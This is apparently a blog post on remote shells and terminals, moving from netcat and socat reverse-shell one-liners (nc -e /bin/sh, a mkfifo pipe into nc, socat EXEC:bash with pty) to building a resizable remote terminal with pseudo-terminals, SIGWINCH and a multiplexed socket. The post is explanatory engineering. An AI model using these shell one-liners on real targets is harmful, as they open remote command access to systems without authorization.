In this post we'll look at shells and terminals, from the most simple like this netcat with
/bin/shover the network, to a remote terminal emulator supporting terminal window size changes out of band. Think all the goodness SSH is doing for you, could we attempt something like it?
Simple: shell over socketIn the most simple implementation, a reverse shell on a target would just duplicate the socket file descriptor to stdin/stdout/stderr then execute
You can find many answers online on how to do this, for example:
nc -nvlp 1337
nc -e /bin/sh localhost 1337
-eis not available on all netcat versions, in particular OpenBSD's.
It's alright, you can also use:
rm -f x; mkfifo x; /bin/sh 2>&1 < x | nc localhost 1234 > x
socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash
socat - TCP:localhost:1337
So that works nicely and it's definitely handy in many situations, but it's quite annoying that it doesn't relay Ctrl-C (^C) because when you do it, it quits your shell. It can be very frustrating if you were not running socat in server+fork mode and you loose the shell. It also does not support tty programs, such as top, vim, emacs as well as ssh, su or sudo since they may ask interactively for a password.
Better: tty over socketIn case you needed to be convinced about socat magic:
socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane
socat FILE:`tty`,raw,echo=0 TCP:localhost:1337
That's it! We can connect, we have a tty, we can do Ctrl-C (^C) and run tty programs: top, vim, emacs, ssh, su, sudo, etc.
Now there's one little downside, which you see if you run tty programs such as vim or htop (the window is small) or if you start typing long commands (it wraps weirdly). It's because the remote terminal does not have any size, so it uses the default (80x24).
We can fix it! First, see the size of your local terminal:
$ stty -a speed 38400 baud; rows 40; columns 130; line = 0;Now connect and set the remote size:
$ stty rows 40 cols 130Done! As long as you don't resize your window, otherwise it breaks everything and you need to do it again.
So how to fix that? And how do terminal emulators even work? After all, socat did all the work for us here.
Implementing itSince there is no option in socat to magically do that, first we need to re-implement both server and client sides of what socat was doing, then we will improve it.
- server: we need to get a pseudo-terminal, which is OS-specific. On Linux we'll open
/dev/ptmx, this gives us the master which we'll connect to the socket. With an ioctl we get the name of the slave and open its corresponding
/dev/pts/N(like your terminal!), unlock it and give it as stdin/stdout/stderr to the shell.
- client: we need to take over the terminal, the shell's stdin being a terminal we'll make it raw, then connect it to the socket. Making the terminal raw has the effect that signals such as Ctrl-C will now go on the socket.
Terminal window resizingSo we've reached the same point as we had with socat. Now, what's up with window changes? Well, turns out when you resize your terminal window a
SIGWINCHsignal is delivered!
Also, we can get and set the window size with ioctl
Here's what we can do: catch this signal on the client, get the new window size, send it over the socket to the server, which will set the window size on the pseudo-terminal, and send the same signal to the shell so it knows it can resize.
Unfortunately there's one problem: we have only one socket, and it already relays the terminal data. So we need another, or rather, we can multiplex the socket to give us 2 channels: one to exchange data, one to push window size information from client to server.
We do that and finally... we have it ! A remote shell terminal, which we can resize and it gets updated. Fancy! I did an implementation in Go if you want to look or try.
Now if we just add some TLS, we're not too far from SSH. And using this multiplex of streams on the socket we could even add port forwarding, file transfer, etc. all in the same connection.
Post a Comment